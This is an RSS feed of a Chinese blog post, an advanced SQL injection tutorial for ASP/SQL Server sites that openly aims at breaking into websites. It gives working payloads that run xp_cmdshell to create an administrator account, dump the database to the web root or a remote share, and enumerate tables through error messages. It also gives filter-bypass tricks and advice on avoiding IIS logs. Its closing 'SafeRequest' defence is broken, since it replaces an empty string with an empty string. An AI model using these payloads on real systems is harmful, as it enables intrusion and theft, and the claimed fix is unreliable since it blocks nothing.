<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[静怡家园]]></title> 
<link>http://www.zhanghaijun.com/index.php</link> 
<description><![CDATA[书山有路勤为径，学海无涯苦作舟！]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[静怡家园]]></copyright>
<item>
<link>http://www.zhanghaijun.com/post//</link>
<title><![CDATA[ASP漏洞全接触-高级篇]]></title> 
<author>碟舞飞扬 &lt;webmaster@zhanghaijun.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Fri, 29 Jun 2007 18:39:29 +0000</pubDate> 
<guid>http://www.zhanghaijun.com/post//</guid> 
<description>
<![CDATA[ 
	看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。 <br/><br/>　　第一节、利用系统表注入SQLServer数据库<br/><br/>　　SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子： <br/><br/>　　①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”-- <br/><br/>　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着： <br/><br/>　　②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”-- <br/><br/>　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。 <br/><br/>　　③http://Site/url.asp?id=1 ;;and db_name()&gt;0 <br/><br/>　　前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。 <br/><br/>　　④http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:&#92;inetpub&#92;wwwroot&#92;1.db’;-- <br/><br/>　　这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如&#92;&#92;202.96.xx.xx&#92;Share&#92;1.db），但成功率不高。 <br/><br/>　　⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status&gt;0)&gt;0 <br/><br/>　　前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。 <br/><br/>　　⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)&gt;0 <br/><br/>　　从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。 <br/><br/>　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。 <br/><br/>　　第二节、绕过程序限制继续注入 <br/><br/>　　在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。 <br/><br/>　　在“SQL注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句： <br/><br/>　　简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。 <br/><br/>　　第三节、经验小结 <br/><br/>　　1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用select这样尝试一下。 <br/><br/>　　2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。 <br/><br/>　　3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。 <br/><br/>　　4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。 <br/><br/>　　5.猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。 <br/><br/>　　SQL注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下： <br/><br/>　　Function SafeRequest(ParaName,ParaType) <br/>　　--- 传入参数 --- <br/>　　ParaName:参数名称-字符型 <br/>　　ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符) <br/><br/>　　Dim ParaValue <br/>　　ParaValue=Request(ParaName) <br/>　　If ParaType=1 then <br/>　　If not isNumeric(ParaValue) then <br/>　　Response.write &quot;参数&quot; &amp; ParaName &amp; &quot;必须为数字型！&quot; <br/>　　Response.end <br/>　　End if <br/>　　Else <br/>　　ParaValue=replace(ParaValue,&quot;&quot;,&quot;&quot;) <br/>　　End if <br/>　　SafeRequest=ParaValue <br/>　　End function 
]]>
</description>
</item><item>
<link>http://www.zhanghaijun.com/post//#blogcomment</link>
<title><![CDATA[[评论] ASP漏洞全接触-高级篇]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.zhanghaijun.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>